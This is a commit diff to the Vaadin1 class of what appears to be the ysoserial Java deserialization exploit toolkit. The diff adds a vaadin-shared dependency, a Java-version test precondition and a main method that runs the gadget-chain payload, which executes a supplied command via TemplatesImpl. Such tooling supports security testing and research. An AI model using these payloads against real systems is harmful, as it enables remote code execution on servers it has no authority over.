additional dependency added, precondition badattrvalexcobj

This commit is contained in:
supersache
2018-09-20 13:00:21 +02:00
parent 614fcfeb2a
commit e0b15a3961
+14 -3
View File
@@ -7,10 +7,14 @@ import com.vaadin.data.util.PropertysetItem;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@Dependencies ( { "com.vaadin:vaadin-server:7.7.14" }) @Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Authors({ Authors.KULLRICH }) @Authors({ Authors.KULLRICH })
public class Vaadin1 implements ObjectPayload<Object> public class Vaadin1 implements ObjectPayload<Object>
{ {
@@ -50,9 +54,8 @@ public class Vaadin1 implements ObjectPayload<Object>
// | v | // | v |
// | TemplatesImpl.getOutputProperties() | // | TemplatesImpl.getOutputProperties() |
// | | // | |
// | |
// | |
// +------------------------------------------------+ // +------------------------------------------------+
@Override @Override
public Object getObject (String command) throws Exception public Object getObject (String command) throws Exception
{ {
@@ -68,4 +71,12 @@ public class Vaadin1 implements ObjectPayload<Object>
return b; return b;
} }
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Vaadin1.class, args);
}
} }